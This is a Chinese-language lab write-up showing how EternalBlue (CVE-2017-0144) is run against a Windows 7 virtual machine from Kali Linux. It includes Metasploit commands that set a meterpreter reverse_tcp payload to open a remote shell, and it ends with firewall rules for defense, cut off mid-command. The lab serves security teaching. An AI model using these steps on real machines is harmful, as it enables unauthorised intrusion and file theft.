Vulnerability-Research-CVE-2017-0144

LAB: 基于SMB协议漏洞的Windows操作系统攻击

• I. 描述
  在本实验中，我们将使用两台计算机模拟一次基于Windows操作系统SMB协议漏洞的攻击。一台运行Kali Linux操作系统，扮演攻击者（黑客）。另一台计算机扮演受害者（victim）。受害者计算机运行包含SMB漏洞的Windows 7 64位操作系统。为此，我们将在Kali Linux上使用名为EternalBlue的利用代码攻击Windows 7计算机。
• II. 概述
• 服务器消息块（SMB）是Microsoft Windows平台上相当常见的文件共享协议。借助SMB协议，同一网络层或同一域内的Windows计算机可以相互共享文件。至今，SMB也被称为通用互联网文件系统（CIFS）。
• EternalBlue是一种基于SMB协议通过445端口漏洞的信息利用代码。最初，EternalBlue由美国国家安全局（NSA）开发。但后来，它于2017年被黑客组织The Shadow Brokers泄露。同年，一场大规模的数据加密病毒——勒索软件攻击，针对全球Microsoft Windows计算机展开。其中最著名的当属WannaCry病毒。至今，虽然微软已通过安全更新MS17-010修补了该漏洞，但全球仍有大量运行Windows操作系统的计算机存在此漏洞。该漏洞在CVE-2017-0144（Windows SMB远程代码执行漏洞）中公布。此漏洞极其危险且极易被利用。值得注意的是，要利用此SMB协议漏洞进行攻击，黑客无需发送或诱骗受害者下载或运行任何恶意病毒。也就是说，受害者即使什么都不做，也会在不知情的情况下轻易被黑客攻击并控制计算机。
• III. 准备
• 准备两台运行在VMware Workstation软件上的虚拟机。Kali Linux虚拟机（攻击机）的IP地址为：192.168.198.140，Windows 7虚拟机（受害者机）的IP地址为：192.168.198.143 1.在Kali虚拟机（攻击机）上：
• -检查IP：ifconfig
• -启动Postgresql服务： service postgresql start
• -检查postgresql是否已运行，使用命令： service postgresql status 2.在Windows 7虚拟机（受害者机）上：
• 检查IP：ipconfig
• 关闭防火墙（Firewall）。
• IV. 实施攻击
• 在Kali上：使用命令登录Metasploit： msfconsole
• 
• 进入Metasploit后，使用命令搜索与ms17_010相关的漏洞及语法： search ms17_010
• 
• 添加受害者机和攻击机的IP地址
• 设置用于利用的payload：
• use 0 -> set payload windows/x64/meterpreter/reverse_tcp:
• 运行exploit进行利用
• 
• -在受害者机上打开shell（通过攻击机终端执行）成功入侵后：
• =>至此，黑客已成功入侵受害者机。此时，黑客可以删除、窃取受害者文件而受害者毫不知情。甚至，黑客可以直接在受害者机上上传并运行病毒。
• V. 防御方法
• – 为避免被利用SMB协议漏洞，我们需要执行以下操作：
• 激活防火墙（Firewall）。
• 将Windows更新至最新版本。或下载并安装Microsoft的安全补丁。特别是ms17_010安全补丁。
• 阻止135、445端口。
• +netsh advfirewall firewall add rule dir=in action=block protocol=TCP localport=135 name="Block_Cong_135"
• +netsh advfirewall firewall add rule dir=in action=block protocol=TCP localport=445 nam